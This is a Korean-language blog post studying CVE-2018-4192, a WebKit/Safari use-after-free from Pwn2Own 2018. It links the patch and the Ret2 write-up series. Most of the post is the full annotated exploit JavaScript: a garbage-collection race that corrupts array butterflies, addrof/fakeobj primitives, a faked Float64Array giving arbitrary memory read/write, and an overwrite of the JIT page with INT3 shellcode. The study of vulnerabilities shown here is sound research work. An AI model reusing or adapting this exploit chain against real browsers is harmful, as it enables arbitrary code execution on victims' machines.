본문 바로가기

카테고리 없음

CVE-2018-4192, WebKit(Safari) USE-AFTER-FREE

Ret2 블로그에 흥미로운 글이 있어서 읽어봤다. Pwn2Own 2018에서 사용한 두 개 취약점 CVE-2018-4192, CVE-2018-4193에 대해 발견부터 익스플로잇까지 과정을 기술하고 있다. 아래 링크 1편부터 4편까지 webkit에서 발생한 USE-AFTER-FREE 취약점을 다루고 5편부터 6편까지 macOS WindowServer 취약점에 대해 설명하고 있다. 

Webkit 소스를 열어보면서 각종 오브젝트의 구성, 오브젝트간 상속구조, butterfly 등 많은 내용을 학습할 수 있다.


1. A Methodical Approach to Browser Exploitation

2. Vulnerability Discovery Against Apple Safari

3. Timeless Debugging of Complex Software

4. Weaponization of a JavaScriptCore Vulnerability

5. Cracking the Walls of the Safari Sandbox

6. Exploiting the macOS WindowServer for root


CVE-2018-4192 patch:

https://github.com/WebKit/webkit/commit/4277697ef9384adea6f4c63ed1215a05990e85b4


CVE-2018-4192 exploit: 

https://gist.github.com/itszn/5e6354ff7975e65e5867f3a660e23e05



익스플로잇도 읽어보자. 


// Load Int library, thanks saelo!
load('util.js');
load('int64.js');
 
 
// 메모리에서 읽은 8바이트를 저장하는 임시 저장소
var conva = new ArrayBuffer(8);         
var convf = new Float64Array(conva);    
var convi = new Uint32Array(conva);     
var convi8 = new Uint8Array(conva);     
 
// victim_arrays에서 사용하는 식별자, JSValue
var floatarr_magic = new Int64('0x3131313131313131').asDouble();
 
// groom에서 사용하는 식별자, JSValue
var jsval_magic = new Int64('0x3232323232323232').asDouble();
 
var structs = [];
 
function log(x) {
    print(x);
}
 
 
// Look OOB for array we can use with JSValues
// corrupted_arr는 길이가 변경된 groom[i] 이다.   
function findArrayOOB(corrupted_arr, groom) {
    log("Looking for JSValue array with OOB Float array");
    for (let i = 0; i<corrupted_arr.length; i++) {
        convf[0= corrupted_arr[i];
 
        // Find the magic value we stored in the JSValue Array
        // 메모리를 탐색하면서  [ 10 00 00 00 ] [ don't care ] [ 0x32323232 ] 시퀀스를 찾는다. 
        if (convi[0== 0x10) {
            convf[0= corrupted_arr[i+1];
            if (convi[0!= 0x32323232)
                continue;
 
            // groom[n]을 찾았다면 값을 groom[n][0]을 0x3131313131313131로 변경한다. 원래는 0x3232323232323232였다. 
            corrupted_arr[i+1= new Int64('0x3131313131313131').asDouble();
 
            // 이제 groom[n][0]가 jsval_magic(0x3131313131313131)인 n을 찾고 target이라고 하자. 
            // corrupted_arr와 target을 이용하면 특정 객체의 주소를 얻고(addrof), 객체를 받환(fakeobj)받을 수 있다. 
            let target = null;
            for (let j = 0; j < groom.length; j++) {
                if (groom[j][0!= jsval_magic) { 
                    target = groom[j];
                    break
                }
            }
 
            log("Found target array for addrof/fakeobj");
 
            // This object will hold our primitives
            let prims = {};
 
            // corrupted_arr와 target의 거리
            let oob_ind = i+1;
 
            // Get the address of a given jsobject
            // currupted_arr[oob_ind] == target[0]
            // target[0] 주소를 얻고자하는 객체            
            prims.addrof = function(x) {
                target[0= x;
                return Int64.fromDouble(corrupted_arr[oob_ind]);
            }
 
 
            // Return a jsobject at a given address
            // currupted_arr[oob_ind] == target[0]
            // target[0]에는 반환받을 객체
            prims.fakeobj = function(addr) {
                corrupted_arr[oob_ind] = addr.asDouble();
                return target[0];
            }
 
            return prims;
        }
    }
}
 
// Here we will spray structure IDs for Float64Arrays
// See http://www.phrack.org/papers/attacking_javascript_engines.html
function sprayStructures() {
  function randomString() {
      return Math.random().toString(36).replace(/[^a-z]+/g, '').substr(05);
  }
  // Spray arrays for structure id
  for (let i = 0; i < 0x1000; i++) {
      let a = new Float64Array(1);
      // Add a new property to create a new Structure instance.
      a[randomString()] = 1337;
      structs.push(a);
  }
}
 
 
// Here we will create our fake typed array and get arbitrary read/write
// See http://www.phrack.org/papers/attacking_javascript_engines.html
function getArb(prims) {
    sprayStructures()
 
    let utarget = new Uint8Array(0x10000);
    utarget[0= 0x41;
 
    // fake Float64Array를 구성한다.
    // Structure id 필드는 런타임시에 결정되기 때문에 고정된 값을 넣을 수 없다. 따라서 게싱을 해야한다. 
    // 적당히 0x200 정도로 찍고, 값을 올려가면서 찾는 전략을 쓴다.     
    // [ Indexing type = 0 ][ m_type = 0x27 (float array) ][ m_flags = 0x18 (OverridesGetOwnPropertySlot) ][ m_cellState = 1 (NewWhite)]
    let jscell = new Int64('0x0118270000000200');
 
    // fake Float64Array
    // a,b,c,d 속성은 메모리에서 8바이트씩 차지한다.
    // Each attribute will set 8 bytes of the fake object inline    
    obj = {
        'a': jscell.asDouble(),
 
        // Butterfly can be anything
        'b'false,
 
        // Target we want to write to
        'c': utarget,
 
        // Length and flags
        'd'new Int64('0x0001000000000010').asDouble()
    };
 
 
    // addrof 함수로 obj의 주소를 얻는다. 
    let objAddr = prims.addrof(obj).add(16);   
    log("Obj addr + 16 = "+objAddr);
 
    // fakeof 함수로 위에서 obj주소 +16 위치에 있는 fakearaay를 객체로 얻는다.
    let fakearray = prims.fakeobj(objAddr);
 
    // Structure id를 0x200으로 찍었는데 그게 맞을리가 없다.
    // 0x201, 0x202, ... 순차적으로 올려가면서 Float64Array의 Structure id를 가질때까지 반복한다.     
    while(!(fakearray instanceof Float64Array)) {
        jscell.add(1);
        obj['a'= jscell.asDouble();
    }
 
    // 찾았다.
    log("Matched structure id!");
 
 
    // 특정 주소에 데이터를 연속으로 쓴다(write)
    // fakearray[2]로 utarget의 ArrayBuffer 주소를 addr로 세팅한다. 
    // 이제 utarget[0]를 읽으면 addr 주소에 있는 8바이트를 읽을 수 있다.
    prims.set = function(addr, arr) {
        fakearray[2= addr.asDouble();
        utarget.set(arr);
    }
 
    // 임의 주소에서 8바이틀 읽는다.
    prims.read64 = function(addr) {
        fakearray[2= addr.asDouble();
        let bytes = Array(8);
        for (let i=0; i<8; i++) {
            bytes[i] = utarget[i];
        }
        return new Int64(bytes);
    }
 
    // 임의 주소에 8바이트를 쓴다.
    prims.write64 = function(addr, value) {
        fakearray[2= addr.asDouble();
        utarget.set(value.bytes);
    }
}
 
// RWX 속성을 가지는 JIT 메모리 영역을 찾고 쉘코드 0xCC(int 3)를 덮어쓴다. 
function exploit(corrupted_arr, groom) {
    save.push(groom);
    save.push(corrupted_arr);
 
    // Create fakeobj and addrof primitives
    let prims = findArrayOOB(corrupted_arr, groom);
 
    // Upgrade to arb read/write from OOB read/write
    getArb(prims);
 
    // Build an arbitrary JIT function
    // This was basically just random junk to make the JIT function larger
    let jit = function(x) {
        var j = []; j[0= 0x6323634;
        return x*5 + x - x*/0x2342513426 +(x - x+0x85720642 *(x +3 -/ x+0x41424344)/0x41424344)+j[0]; };
 
    // Make sure the JIT function has been compiled
    jit();
    jit();
    jit();
 
    // Traverse the JSFunction object to retrieve a non-poisoned pointer
    log("Finding jitpage");
    let jitaddr = prims.read64(
        prims.read64(
            prims.read64(
                prims.read64(
                    prims.addrof(jit).add(3*8)
                ).add(3*8)
            ).add(3*8)
        ).add(5*8)
    );
    log("Jit page addr = "+jitaddr);
 
    // Overwrite the JIT code with our INT3s
    log("Writting shellcode over jit page");
    prims.set(jitaddr.add(32), [0xcc0xcc0xcc0xcc]);
 
    // Call the JIT function, triggering our INT3s
    log("Calling jit function");
    jit();
 
    throw("JIT returned");
}
 
function setLen(uaf_arr, ind) {
    // ind 변수는 사용되지 않는다.
    // uar_arr 배열로 메모리를 탐색하면서-
    // [ 0x00000010(publicLength) ] [ 0x--------(vectorLength) ] [ 0x3232323232323232 ] 발견하면
    // [ 0x42424242(publicLength) ] [ 0x42424242(vectorLength) ] [ 0x3232323232323232 ] 로 앞에 8바이트를 변경한다.
    // groom[index].length를 0x10에서 0x42424242로 변경하는 것이다.
 
    let f=0;
    for (let i=0; i<uaf_arr.length; i++) {
        convf[0= uaf_arr[i];
 
        // Look for a new float array, and set the length
        if (convi[0== 0x10) {
            convf[0= uaf_arr[i+1];
            if (convi[0== 0x32323232 && convi[1== 0x32323232) {
                convi[0= 0x42424242;
                convi[1= 0x42424242;
                uaf_arr[i] = convf[0];
                return;
            }
        }
    }
 
    throw("Could not find anouther array to corrupt");
}
 
 
let oob_rw_unstable = null;
let oob_rw_unstable_ind = null;
let oob_rw_stable = null;
 
// After this point we would stop seeing GCs happen enough to race :(
const limit = 10;
const butterfly_size = 32
 
let save = [00]
 
for(let at = 0; at < limit; at++) {
    log("Trying to race GC and array.reverse() Attempt #"+(at+1));
    let victim_arrays = new Array(2048);            
    let groom  = new Array(2048);                   
 
    for (let i=0; i < victim_arrays.length; i++) {        
        victim_arrays[i] = new Array(butterfly_size).fill(floatarr_magic)
        groom[i] = new Array(butterfly_size/2).fill(jsval_magic)
    }  
    // victim_arrays = [ [0x3131313131313131 * 32], ... ]    
    // groom = [ [0x3232323232323232 * 16], ... ] 
    // victim_arrays = JSArray
    // victim_arrays[0] = JSArray
    // victim_arrays[0][0] = JSValue 
    
    let vv = [];
    let  v = []
 
    // victim_arrays.reverse()와 "BBBB...BBBB" 문자열 생성을 동시에 진행한다.
    // Array.reverse() 호출할 때 GC가 개입되어야 한다.
    // i로 506을 선택한건 임의로 선택한 것이다. j를 0x44까지 카운트해서 속도 지연 발생.
    // 결과적으로 victim_arrays.reverse()는 506번 실행된다. 
    for (let i = 0; i < 506; i++) {
        for(let j = 0; j < 0x100; j++) {
            // trigger!
            // victim_arrays[n]의 butterfly가 해제되고 그 자리에 "BBBB...BBBB"가 채워진다.
            if (j == 0x44) { v.push(new String("B").repeat(0x10000*save.length/2)) }
            victim_arrays.reverse() 
        }
    }
    /*    
        반복문을 마치면 victim_arrays[n]의 butterfly 메모리가 해제되고 
        그 자리에 "BBBB...BBBB"가 채워졌을 것이다. 
        v.length는 506이다.     
        C++코드로 설명하면,      
         - free(victim_arrays[n].butterfly());
         - memcpy(victim_arrays[n].butterfly(),  "BBBB...BBB", length);
         - JSString.m_value인 "BBBB...BBBB"가 채워졌을 것이다.
    
        before) victim_arrays[n].butterfly()
                       |
                       +-----------------------------------------+
                                                                 |               
                                                                 v  
        +---------------------------------------------------------------------------------------------+
        | 0x20(publicLength) | some_value(vectorLength) | 0x3131313131313131 | 0x3131313131313131 ... | 
        +---------------------------------------------------------------------------------------------+
        after)  v.butterfly()
                |
                +------------------------------------------+
                                                           |                  
                                                           v
        +---------------------------------------------------------------------------------------------+
        |  506(publicLength) | some_value(vectorLength) | JSString* | JSString* | ...                 |
        +---------------------------------------------------------------------------------------------+
                                                           ^
                                                           |
                                                           +--- victim_arrays[n].butterfly()
            (!!!) victim_arrays[n].length는 32였지만 UAF에 의해 506으로 늘어난 n이 있을 것이다. 
    */
 
    for (let i = 0; i < victim_arrays.length; i++) {
        // 원래 victim_arrays[i].length는 모두 32였다. 
        // trigger에 의해 length가 506으로 늘어난 i을 찾아서 victim_arrays[i][0~505]를 0x4141414141414141로 변경한다.
        // 2261634.5098039214 == 0x4141414141414141
        // victim_arrays[n].length를 506에서 0x41414141로 확장하기 위함이다.
        if(victim_arrays[i].length == 506) {  
            victim_arrays[i].fill(2261634.5098039214)                                                    
        }
        
        // victim_array[i].length가 0x41414114인 녀석을 찾는다. 
        // 찾은 victim_arrays[i]는 oob_rw_unstable이라고 하자. 
        // unstable OOB r/w 라고 한다.
        if(victim_arrays[i].length == 0x41414141) {
            oob_rw_unstable = victim_arrays[i];
            oob_rw_unstable_ind = i;
            break;
        }
    }
 
 
    // 지금은 victim_arrays[index]의 butterfly와 v의 butterfly가 같은 메모리를 공유하는 상태다.
    // 좀 더 안정적인 상황으로 끌어가기 위해 victim_arrays와 v가 아닌 groom을 활용하기로 하자. 
    if(oob_rw_unstable) {
        // oob_rw_unstable(victim_arrays[i])의 길이가 32에서 0x41414141로 변경됐으니 OOB-READ가 가능한 상황이다.
        // oob_rw_unstable를 통해 groom[index].length를 0x42424242로 변경한다.
        setLen(oob_rw_unstable, oob_rw_unstable_ind)
 
        // groom 요소중에서 길이가 0x42424242인 groom[i]를 찾는다.
        // 자 이제 우리는 OOB primitive를 victim_array에서 groom으로 옮겨왔다. 
        // groom 배열에서 length가 0x42424242인 요소를 찾는다. 
        for (let i = 0; i < groom.length; i++) {                
            if(groom[i].length == 0x42424242) {
                oob_rw_stable = groom[i];
                break;
            }
        }
        if (!oob_rw_stable) {
            throw("Groom seems to have failed :(");
        }
    }
 
    // chew CPU to avoid a segfault and help with gc schedule
    for (let i = 0; i < 0x100000; i++) { }
 
 
    // Attempt to clean up some
    let f = []
    for (let i = 0; i < 0x2000; i++) {
        f.push(new Array(16).fill(2261634.6098039214))   // 0x4141414141414141
    }
 
    save.push(victim_arrays)
    save.push(v)
    save.push(f)
    save.push(groom)
 
    if (oob_rw_stable) {
        log("Found stable corrupted butterfly! Now the fun begins...");
        exploit(oob_rw_stable, groom);
        break;
    }
 
}
throw("Failed to find any UAF'ed butterflies");
cs